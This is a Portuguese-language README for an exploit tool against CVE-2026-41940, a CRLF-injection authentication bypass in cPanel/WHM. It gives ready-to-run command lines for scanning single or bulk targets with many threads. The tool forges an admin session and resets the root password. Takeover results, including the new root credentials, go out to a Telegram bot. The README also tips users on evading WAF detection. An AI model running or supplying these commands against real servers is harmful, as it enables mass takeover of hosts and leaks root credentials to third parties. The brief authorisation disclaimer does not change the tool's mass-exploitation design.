
Script de exploração para CVE-2026-41940, uma bypass de autenticação no cPanel/WHM usando injeção CRLF para obter acesso de administrador e alterar a senha do root, com varredura multi-thread e notificações via Telegram.
CVE-2026-41940 – Bypass de Autenticação cPanel/WHM + Alterador de Senha Root Este script explora a vulnerabilidade de bypass de autenticação no cPanel/WHM (CVE-2026-41940) usando a técnica de injeção CRLF para forjar uma sessão de administrador. Após o sucesso, o script pode alterar a senha do usuário root no WHM e enviar notificações via Telegram.
Aviso: Use apenas para testes de segurança em sistemas que você possui ou para os quais tenha autorização por escrito. O uso indevido deste script para acesso ilegal viola a lei.
📦 Instalação de Dependências (PIP) Este script requer Python 3.6+ e duas bibliotecas externas. Execute o seguinte comando:
pip install requests urllib3 requests – para enviar requisições HTTP flexíveis
urllib3 – usado para desativar avisos de SSL (certificado autoassinado)
Outras bibliotecas (argparse, json, re, threading, concurrent.futures, etc.) já estão disponíveis na biblioteca padrão do Python.
🚀 Como Usar
(Opcional) Se quiser notificações do Telegram, edite as duas linhas na seção HARDCODE TELEGRAM dentro do script:
python TELEGRAM_BOT_TOKEN = 'token_bot_da_BotFather' TELEGRAM_CHAT_ID = 'seu_chat_id_ou_grupo' Deixe como está (: e -) se não quiser notificações.
Sintaxe Básica bash python cve-2026-41940.py --target https://ip:2087 --password root123 python cve-2026-41940.py --targets-file targets.txt --password rahasia --threads 20 --output hasil.json python cve-2026-41940.py --target https://ip:2087 --check-only
Argumentos Disponíveis Argumento Obrigatório? Descrição --target um dos Alvo único, exemplo https://192.168.1.100:2087 ou 192.168.1.100 (porta padrão 2087) --targets-file um dos Arquivo de texto contendo a lista de alvos (um por linha, formato ip:porta ou URL completa) --password se não --check-only Nova senha para o usuário root do WHM --check-only não Apenas verifica se o alvo é vulnerável, sem alterar a senha --threads não (padrão 10) Número de threads para execução paralela --timeout não (padrão 15) Timeout da conexão HTTP (segundos) --output não Salva os resultados (JSON) em um arquivo Nota: A porta 2087 para WHM (SSL) será adicionada automaticamente se não for mencionada.
Exemplos de Uso Verificar a vulnerabilidade de um único alvo (apenas teste):
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --check-only Explorar e alterar a senha root para p4ssw0rd!:
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --password p4ssw0rd! Escanear vários alvos do arquivo list.txt com 20 threads, salvar os resultados em sukses.json:
bash python cve-2026-41940.py --targets-file list.txt --password MyNewPass123 --threads 20 --output sukses.json Exemplo de conteúdo do list.txt:
text 192.168.1.1:2087 https://cpanel.example.com 203.0.113.99 5. Saída e Notificações Cada alvo terá seu status impresso na tela: [+] sucesso, [-] falha, [!] erro, [*] processo.
Se --output for incluído, todos os resultados serão salvos em formato JSON.
Se as credenciais do Telegram forem preenchidas, a exploração bem-sucedida enviará uma mensagem como:
text ✅ EXPLOIT BEM-SUCEDIDO ✅ ┌ Alvo: 203.0.113.10:2087 ├ Usuário: root ├ Senha: MyNewPass123 ├ Versão WHM: 122.0.19 └ Hora: 2025-03-20 10:15:30 UTC ⚙️ Breve Funcionamento Pré-autenticação – Envia um login falho para obter o cookie whostmgrsession.
Injeção CRLF – Adiciona o payload Basic no cabeçalho Authorization para inserir uma linha de sessão falsa.
Propagação – Acessa /scripts2/listaccts para confirmar que a vulnerabilidade pode ser explorada.
Verificação – Chama json-api/version; se bem-sucedido, pode acessar o WHM como root.
Alterar Senha – Chama a API passwd com os parâmetros user=root e a nova senha.
Notificação – Envia o resultado para o Telegram (se o token estiver preenchido).
⚠️ Notas Importantes O script não detecta a versão do cPanel/WHM diretamente, mas exibirá a versão se estiver disponível.
Alguns alvos podem ter mod_security ou WAF que bloqueiam o payload. Use --threads não muito alto para evitar detecção.
Sempre use com permissão e responsabilidade moral.
Autor: dennisec (github.com/dennisec) Licença: Apenas para uso educacional